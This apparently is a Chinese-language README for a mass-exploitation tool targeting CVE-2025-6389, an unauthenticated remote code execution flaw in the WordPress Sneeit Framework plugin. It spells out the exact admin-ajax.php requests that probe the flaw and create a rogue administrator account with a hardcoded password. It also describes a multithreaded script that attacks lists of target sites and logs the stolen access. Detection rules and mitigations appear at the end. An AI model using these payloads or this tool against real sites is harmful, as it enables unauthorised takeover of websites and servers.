
Sneeit Framework <= 8.3 - 未经验证的远程代码执行漏洞(sneeit_articles_pagination_callback)
_______ ________ ___ ___ ___ _____ __ ____ ___ ___
/ ____\ \ / / ____| |__ \ / _ \__ \| ____| / /|___ \ / _ \ / _ \
| | \ \ / /| |__ ______ ) | | | | ) | |__ ______ / /_ __) | (_) | (_) |
| | \ \/ / | __|______/ /| | | |/ /|___ \______| '_ \|__ < > _ < \__, |
| |____ \ / | |____ / /_| |_| / /_ ___) | | (_) |__) | (_) | / /
\_____| \/ |______| |____|\___|/____|____/ \___/____/ \___/ /_/
📡 不要错过下一次发布。 在 Telegram 上关注 @KNxploited —— 获取最新披露的 CVE、可用漏洞利用程序和顶级安全研究的权威频道。第一时间知晓,第一时间行动。
CVE-2025-6389 是 WordPress 的 Sneeit Framework 插件中存在的一个 CVSS 9.8 严重 远程代码执行漏洞。
该漏洞存在于 sneeit_articles_pagination_callback() 函数中,该函数盲目地将用户提供的输入传递给 PHP 的 call_user_func()——未经身份验证的攻击者可以调用任何 PHP 函数并传入任意参数,包括 wp_insert_user,从而有效地授予自己完全管理员权限或执行任意服务器端代码。
| 字段 | 详细信息 |
|---|---|
| CVE ID | CVE-2025-6389 |
| 插件 | Sneeit Framework (sneeit-framework) |
| 受影响版本 | 所有版本,最高包括 8.3 |
| 漏洞类型 | 远程代码执行 (RCE) |
| 攻击向量 | 网络 — 无需身份验证 |
| CVSS 3.1 评分 | 9.8 严重 |
| CVSS 向量 | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| 影响 | 完全服务器入侵 / 管理员接管 |
| 研究人员 | Nxploited |
根本原因是插件 AJAX 处理程序中错误地使用了 PHP 的 call_user_func():
// 注册时未进行身份验证检查
add_action('wp_ajax_nopriv_sneeit_articles_pagination', 'sneeit_articles_pagination_callback');
function sneeit_articles_pagination_callback() {
$callback = $_POST['callback']; // ← 用户控制的函数名
$args = json_decode(stripslashes($_POST['args']), true); // ← 用户控制的参数
// 调用任意 PHP 函数并传入任意参数 — 零验证
$result = call_user_func($callback, ...$args);
echo $result;
die();
}
为何严重:
wp_ajax_nopriv_* = 任何人可访问,无需登录call_user_func($callback, $args) = 任意函数调用var_dump、system、wp_insert_user、eval 或任何 PHP/WordPress 函数第 1 步 — 探测 / 指纹识别
──────────────────────────────────────────────────────────────────
POST /wp-admin/admin-ajax.php
action = sneeit_articles_pagination
callback = var_dump
args = ["test"]
预期响应 → array(1) { [0]=> string(4) "test" }
↓
确认:call_user_func() 可达且反射输出
──────────────────────────────────────────────────────────────────
第 2 步 — 创建管理员账户
──────────────────────────────────────────────────────────────────
POST /wp-admin/admin-ajax.php
action = sneeit_articles_pagination
callback = wp_insert_user
args = {"user_login":"Nxploited_XXXX",
"user_pass":"xplpass",
"user_email":"...",
"role":"administrator"}
结果 → 在目标上静默创建新的管理员账户
↓
获得完全 WordPress 管理员面板访问权限 ✔️
pip install requests rich
| 依赖项 | 用途 |
|---|---|
requests | 支持会话/代理的 HTTP 请求 |
rich | 实时终端仪表板、面板、进度条 |
threading | 并发多目标处理 |
queue | 线程安全的目标分发 |
需要 Python 3.8+。类型提示使用了 3.9+ 引入的
tuple[...]语法 — 建议使用 3.9+ 以获得最佳兼容性。
CVE-2025-6389/
├── CVE-2025-6389.py # 主漏洞利用脚本
├── list.txt # 目标 URL — 每行一个
├── success_results.txt # 自动生成:成功目标 + 凭据
└── debug_responses/ # 自动生成:用于调试的原始服务器响应
└── <target>.resp.txt
创建 list.txt,每行一个 URL:
https://target1.com
https://target2.com
http://target3.com
没有
http://或https://的 URL 将自动添加http://前缀。
python CVE-2025-6389.py
系统会提示您:
目标文件名(默认 list.txt):list.txt
线程数(默认 10):20
脚本将启动一个实时 Rich 仪表板,显示:
┌─────────────────────────────────────────────────────────────────────┐
│ [ASCII 横幅] │
├──────────────────────────────┬──────────────────────────────────────┤
│ 信息 │ 统计 │
│ 用法:将目标放入... │ 目标总数: 150 │
│ 线程:20 │ 已处理: 87 │
│ 密码:xplpass │ 成功: 12 │
│ 成功日志:success... │ 失败: 75 │
│ 调试目录:debug_responses │ 已用时间: 00:01:43 │
├──────────────────────────────┴──────────────────────────────────────┤
│ 最近结果 │
│ 时间 目标 结果 │
│ 14:23:01 https://victim.com SUCCESS │
│ 14:23:03 https://example.net FAIL │
└─────────────────────────────────────────────────────────────────────┘
成功的利用结果保存到 success_results.txt:
https://victim.com | 用户名: Nxploited_4821 | 密码: xplpass | 邮箱: [email protected]
调试响应(针对失败目标)保存到 debug_responses/ 目录:
debug_responses/
└── https___victim.com.resp.txt ← 用于分析的原始服务器响应
| 提示项 | 默认值 | 描述 |
|---|---|---|
| 目标文件 | list.txt | 包含目标 URL 的文件 |
| 线程数 | 10(最大:200) | 并发工作线程 — 批量扫描时增加 |
| 密码 | xplpass(硬编码) | 为创建的管理员账户设置的密码 |
| 用户名格式 | Nxploited_XXXX | 自动生成,带随机 4 位数字后缀 |
该漏洞利用产生以下网络特征 — 对防御者和 WAF 规则编写者有用:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=sneeit_articles_pagination&callback=<FUNCTION>&args=<JSON>
WAF / IDS 规则(伪代码):
IF request.method == POST
AND request.path == "/wp-admin/admin-ajax.php"
AND request.body CONTAINS "sneeit_articles_pagination"
AND request.body CONTAINS "callback"
THEN BLOCK + ALERT
如果您是网站所有者、开发者或防御者,请立即采取以下措施:
call_user_func()admin-ajax.php,在 WAF/防火墙层面sneeit_articles_pagination AJAX 动作调用本工具严格仅供教育、授权渗透测试和安全研究目的使用。
下载、运行或修改此脚本即表示您明确同意:
• 您已获得所测试系统的所有者明确书面授权。无例外。
• 您在受控的实验室内或正式划定范围内的授权活动中进行操作。
• 您不会针对任何未经法律许可测试的系统、网络或基础设施部署本工具。
• Nxploited 及所有贡献者对因使用本工具引起的任何未经授权的使用、损害、
数据丢失、法律诉讼或刑事起诉不承担任何责任。